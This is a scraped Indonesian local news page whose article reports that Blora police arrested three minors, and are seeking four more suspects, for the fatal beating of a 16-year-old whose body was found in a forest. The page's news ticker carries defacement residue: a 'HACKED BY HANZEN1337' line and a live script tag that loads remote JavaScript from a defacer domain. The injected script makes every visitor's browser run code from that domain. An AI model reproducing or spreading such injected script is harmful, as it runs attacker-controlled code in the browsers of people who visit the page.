News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Polres Blora Berhasil Ungkap Kasus Pembunuhan Mayat yang Ditermukan di Hutan Randublatung

Polres Blora Berhasil Ungkap Kasus Pembunuhan Mayat yang Ditermukan di Hutan Randublatung

Blora - Kerja keras tim reserse mobil (Resmob) Polres Blora menyingkap pelaku dan motif pembunuhan Deni Triatama (16) membuahkan hasil. Saat ini, sudah tiga orang pelaku dibekuk, empat lainnya buron.
Hal tersebut disampaikan Kapolres Blora AKBP Antonius Anang SIK MH saat menggelar Konfrensi Pers di Mapolres Blora, Senin (15/07/2019) siang.
 
Deni Triantama (16), warga Kelurahan Jepon RT 006 RW 002 Kecamatan Jepon Blora, ditemukan di dalam karung, oleh seorang warga setempat yang sedang mengambala sapi di area hutan jati tepatnya di petak 113 KRPH Jati Kusumo Dukuh Loji ijo Desa Kalisari Kecamatan Randublatung Kabupaten Blora.  Kamis (11/007/2019).
 
 
 
 
 

Kapolres Blora AKBP Antonius Anang SIK MH saat menggelar Konfrensi Pers didampingi Kasat Reskrim AKP Herry Dwi Utomo dan Kapolsek Randublatung AKP Supriyo, Senin (15/07/2019)

 
Kapolres Blora AKBP Antonius Anang SIK MH saat menggelar Konfrensi Pers didampingi Kasat Reskrim AKP Herry Dwi Utomo dan Kapolsek Randublatung AKP Supriyo, Senin (15/07/2019) siang menuturkan bahwa tiga pelaku yang kini diamanakan, Al, H, dan Y, semua warga Blora dan masih dibawah umur. Motifnya korban mencuri hand phone (HP) kawannya, mabuk, dan dianiaya hingga tewas.
 
Kapolres mengatakan korban dituduh mencuri HP rekannya pada saat nongkrong bareng bebrapa waktu lalu dan mengakuinya. Kemudian pada hari Senin (18/07/2019) malam lalu, korban diajak rekannya nongkrong di taman Kecamatan Randublatung sambil minum minuman keras.
 
“Dengan keadaan mabuk, dari situlah awal korban dikeroyok rekannya tujuh orang hingga tewas. Saat ini kita baru amankan tiga tersangka, sedangkan empat tersangka lainnya masih buron,” ujarnya.
 
AKPB Anang menambahkan ketiga pelaku yang masih dikategorikan anak dibawah umur ini harus mempertanggungjawabkan perbuatannya. Untuk ancaman hukumannya akan tetap diproses sesuai dengan ketentuang hokum perundangan yang berlaku.
 
“Mereka para tersangka akan dijerat dengan undang-undang perlindungan anak junto Pasal 170 ayat (2) KUHP tentang penganiayaan yang mengakibatkan hilangnya nyawa. Dengan ancaman hukuman maksimal 12 tahun penjara.” tandas Kapolres.
 
 
Sebelumnya, identitas mayat dalam karung yang ditemukan di hutan jati Blora yang awalnya menjadi teka-teki, akhirnya tersingkap. Korban adalah Deni Triantama, warga Kelurahan Jepon RT 006 RW 002 Kecamatan Jepon Kabupaten Blora.
 
Mayat terbungkus dalam karung zak tersebut pertama kali ditemukan Ramijan alias Gowang, seorang pengembala sapi di hutan jati petak 113 RPH Jati Kusumo, KPH Randublatung, masuk Dukuh Loji Ijo Desa Kalisari, Kecamatan Radublatung, Blora
 
Meski berhasil menyingkap indentitas korban, Kepolisian masih harus bekerja keras mengembangankan kasusnya, menerjunkan sejumlah anggota untuk lidik, hingga akhirnya petugas berhasil menangkap tiga orang pelaku sementara empat pelaku masih buron. (teg/imm)
Berita Terkait
1783873722.1913 at start, 1783873722.5565 at end, 0.36525893211365 sec elapsed